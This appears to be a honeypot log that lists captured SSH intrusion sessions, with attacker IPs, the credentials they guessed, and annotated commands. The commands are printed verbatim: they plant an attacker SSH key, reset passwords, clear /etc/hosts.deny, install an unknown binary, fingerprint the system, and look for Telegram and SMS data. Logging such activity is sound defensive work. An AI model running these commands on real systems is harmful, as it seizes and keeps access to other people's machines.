$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cipher_root_12 (103.147.159.91) — Cikupa, Indonesia · 1 session · 20 cmds

2026-07-12 00:39 EDT · as angie/angie

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "angie\nWv3PaCjRHvsE\nWv3PaCjRHvsE"|passwd|bash

$ Enter new UNIX password:

$ echo "angie\nWv3PaCjRHvsE\nWv3PaCjRHvsE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wok_root_4 (114.220.238.21) — Nanjing, China · 1 session · 19 cmds

2026-07-12 00:30 EDT · as root/abcd@4321

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:euxWFbUENoqP"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root (92.118.39.14) — Dallas, United States · 4 sessions · 28 cmds

2026-07-02 08:03 EDT · as root/1234, root/123456, root/root

hostname; → echo

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3 // make executable

$ uname -s -v -n -m 2 > /dev/null ×3

$ /bin/uname -s -v -n -m 2 > /dev/null ×3

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×3

$ busybox uname -s -v -n -m 2 > /dev/null ×3

$ ( [ -f /proc/version ] ×3

$ [ -f /proc/version ] ×3

$ head -1 /proc/version | cut -d -f1 ×3

$ [ -f /etc/os-release ] ×3

$ echo $HOME

🎭 monsoon_root_2 (203.193.150.244) — Hyderabad, India · 2 sessions · 40 cmds

2026-07-11 21:16 EDT · as sonarqube/12345, sonu/sonu

hostname; → echo

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "sonu\nNuH7zL25PA1o\nNuH7zL25PA1o"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "sonu\nNuH7zL25PA1o\nNuH7zL25PA1o\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "12345\neOjrYBnTRNre\neOjrYBnTRNre"|passwd|bash

$ echo "12345\neOjrYBnTRNre\neOjrYBnTRNre\n"|passwd

🎭 toucan_root (177.126.132.44) — Artur Nogueira, Brazil · 4 sessions · 4 cmds

2026-07-11 21:18 EDT · as admin/admin, pi/raspberry, root/123456

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×4

🎭 burger_2 (23.95.8.100) — Buffalo, United States · 1 session · 20 cmds

2026-07-11 21:10 EDT · as sonu/sonu

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "sonu\nXzB9vaYlHUWt\nXzB9vaYlHUWt"|passwd|bash

$ Enter new UNIX password:

$ echo "sonu\nXzB9vaYlHUWt\nXzB9vaYlHUWt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 star_root_10 (193.31.31.234) — Dallas, United States · 2 sessions · 2 cmds

2026-07-11 20:09 EDT · as root/jimster2024!

make executable → uname

$ cat > /tmp/nw-new && chmod +x /tmp/nw-new && mv /tmp/nw-new /usr/local/bin/netwatcher-worker // make executable

$ uname -m

🎭 yankee_root_9 (94.72.127.149) — Seattle, United States · 2 sessions · 2 cmds

2026-07-11 20:04 EDT · as root/jimster2024!

make executable → uname

$ cat > /tmp/nw-new && chmod +x /tmp/nw-new && mv /tmp/nw-new /usr/local/bin/netwatcher-worker // make executable

$ uname -m

🎭 gouda_root (80.94.92.179) — Amsterdam, The Netherlands · 4 sessions · 36 cmds

2026-06-30 20:43 EDT · as root/000000, root/123456, root/toor

make executable → uname

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×3 // make executable

$ uname -s -v -n -m 2 > /dev/null ×4

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 yankee_root_10 (35.212.132.244) — The Dalles, United States · 1 session · 1 cmd

2026-07-11 18:32 EDT · as root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 tulip_root_3 (2.57.122.209) — Amsterdam, The Netherlands · 2 sessions · 18 cmds

2026-07-05 02:08 EDT · as root/000000, root/123456

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" // make executable

$ uname -s -v -n -m 2 > /dev/null ×2

$ /bin/uname -s -v -n -m 2 > /dev/null ×2

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×2

$ busybox uname -s -v -n -m 2 > /dev/null ×2

$ ( [ -f /proc/version ] ×2

$ [ -f /proc/version ] ×2

$ head -1 /proc/version | cut -d -f1 ×2

$ [ -f /etc/os-release ] ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"

🎭 bibimbap_root_3 (59.22.201.143) — Haman-gun, South Korea · 1 session · 9 cmds

2026-07-11 13:40 EDT · as root/guest

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ /ip cloud print

$ ifconfig // network mapping

$ uname -a // OS/kernel identification

$ cat /proc/cpuinfo // CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 chateau_root_3 (161.97.116.231) — Lauterbourg, France · 1 session · 1 cmd

2026-07-11 12:56 EDT · as root/8610uster

hostname discovery

$ hostname // hostname discovery

🎭 specter_root_7 (157.10.100.12) — Patan, Nepal · 1 session · 19 cmds

2026-07-11 11:38 EDT · as root/cesar

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:3YSTyfFFmheL"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

